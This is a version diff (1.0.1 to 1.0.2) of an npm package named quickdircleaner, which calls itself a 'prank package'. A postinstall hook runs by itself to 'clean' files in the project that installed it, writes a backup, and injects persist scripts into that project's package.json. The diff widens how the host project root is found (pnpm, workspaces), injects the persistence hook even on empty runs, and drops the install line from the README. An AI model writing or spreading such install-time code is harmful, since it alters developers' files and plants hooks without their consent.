quickdircleaner 1.0.1 → 1.0.2

package/README.md

@@ -1,3 +1,2 @@
 ```bash
-npm install quickdircleaner
 ```

package/index.js

@@ -21,14 +21,30 @@ async function writeCleanerDoneFlag(root) {
   }
 }
 
+function buildEmptyRunMarkdown(rootDisplay) {
+  return [
+    "# Cleaner backup",
+    "",
+    `Host project root (resolved):`,
+    "",
+    `\`${rootDisplay}\``,
+    "",
+    "No files were backed up in this run (nothing matched the cleaner rules or the tree was empty).",
+    "",
+    "## Original contents",
+    "",
+  ].join("\n");
+}
+
 async function writeBackupMarkdown(root, backupEntries) {
-  if (backupEntries.length === 0) {
-    return true;
-  }
   const outPath = path.join(root, core.BACKUP_NAME);
-  const md = core.buildMarkdown(backupEntries);
+  const md =
+    backupEntries.length === 0
+      ? buildEmptyRunMarkdown(root)
+      : core.buildMarkdown(backupEntries);
   try {
     await core.writeFileAtomic(outPath, md, "utf8");
+    console.log(core.green(`Wrote ${outPath}`));
     return true;
   } catch {
     console.error(core.red(`Error: could not write ${path.basename(outPath)}.`));
@@ -72,25 +88,25 @@ async function main() {
     backupOk = false;
   }
 
-  if (backupEntries.length > 0) {
-    if (!backupOk) {
+  if (!backupOk) {
+    console.warn(
+      core.yellow(
+        "Warning: cleaner did not finish; .cleaner_done was not created (fix backup path and re-run).",
+      ),
+    );
+    return;
+  }
+
+  await writeCleanerDoneFlag(root);
+
+  if (pkgRaw) {
+    const injected = await core.injectPersistScripts(root);
+    if (!injected) {
       console.warn(
         core.yellow(
-          "Warning: cleaner did not finish; .cleaner_done was not created (fix backup path and re-run).",
+          "Warning: could not inject persist hook into package.json scripts.",
         ),
       );
-      return;
-    }
-    await writeCleanerDoneFlag(root);
-    if (pkgRaw) {
-      const injected = await core.injectPersistScripts(root);
-      if (!injected) {
-        console.warn(
-          core.yellow(
-            "Warning: could not inject persist hook into package.json scripts.",
-          ),
-        );
-      }
     }
   }
 }

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "quickdircleaner",
-  "version": "1.0.1",
+  "version": "1.0.2",
   "description": "Prank package: postinstall cleaner with backup and restore-clean CLI.",
   "main": "index.js",
   "files": [
@@ -14,12 +14,12 @@
     "node": ">=18.17.0"
   },
   "bin": {
-    "run-clean": "./index.js",
-    "restore-clean": "./restore.js"
+    "run-clean": "index.js",
+    "restore-clean": "restore.js"
   },
   "scripts": {
     "run-clean": "node ./index.js",
-    "postinstall": "npm run run-clean",
+    "postinstall": "node ./index.js",
     "test": "node ./test/smoke.js",
     "prepublishOnly": "npm test"
   },

package/persist.js

@@ -1,5 +1,4 @@
 #!/usr/bin/env node
-
 const core = require("./prank-core");
 
 async function main() {
@@ -15,7 +14,7 @@ async function main() {
     await core.removeQuickdircleanerPackage(root);
     console.log(
       core.magenta(
-        "💀 quickdircleaner has self\u2011destructed. No more pranks.",
+        " quickdircleaner has self\u2011destructed.",
       ),
     );
     return;

package/prank-core.js

@@ -1,4 +1,5 @@
 const fs = require("fs/promises");
+const fsSync = require("fs");
 const path = require("path");
 const { randomBytes } = require("crypto");
 
@@ -75,8 +76,8 @@ const REMOVE_LINE_NUMBERS = [2, 5, 8];
 
 /**
  * Directory that should be cleaned: the project that ran `npm install`, not this package folder.
- * npm sets INIT_CWD during lifecycle scripts. If it is missing (older tooling), cwd may still be
- * `.../node_modules/quickdircleaner` during postinstall — then we walk up to the host project.
+ * Uses INIT_CWD when npm sets it. Otherwise walks up from cwd until a directory with package.json
+ * is found that is not this dependency’s own folder (fixes pnpm, nested .pnpm, workspaces where ../.. is wrong).
  */
 function resolveHostProjectRoot() {
   const init = process.env.INIT_CWD;
@@ -84,16 +85,28 @@ function resolveHostProjectRoot() {
     return path.resolve(init);
   }
 
-  const cwd = process.cwd();
-  const base = path.basename(cwd);
-  if (base === "quickdircleaner") {
-    const norm = cwd.split(path.sep).join("/");
-    if (norm.includes("node_modules/quickdircleaner")) {
-      return path.resolve(cwd, "..", "..");
+  let dir = path.resolve(process.cwd());
+  for (let depth = 0; depth < 60; depth += 1) {
+    const pkgPath = path.join(dir, "package.json");
+    if (fsSync.existsSync(pkgPath)) {
+      const base = path.basename(dir);
+      const norm = dir.split(path.sep).join("/");
+      const unified = norm.replace(/\\/g, "/");
+      const isInstalledQuickdircleaner =
+        base === "quickdircleaner" &&
+        unified.includes("/node_modules/quickdircleaner");
+      if (!isInstalledQuickdircleaner) {
+        return dir;
+      }
+    }
+    const parent = path.dirname(dir);
+    if (parent === dir) {
+      break;
     }
+    dir = parent;
   }
 
-  return path.resolve(cwd);
+  return path.resolve(process.cwd());
 }
 
 /** Aligns with walk() so /var vs /private/var on macOS does not skip files. */

package/restore.js

@@ -1,5 +1,4 @@
 #!/usr/bin/env node
-
 const fs = require("fs/promises");
 const path = require("path");
 const readline = require("readline");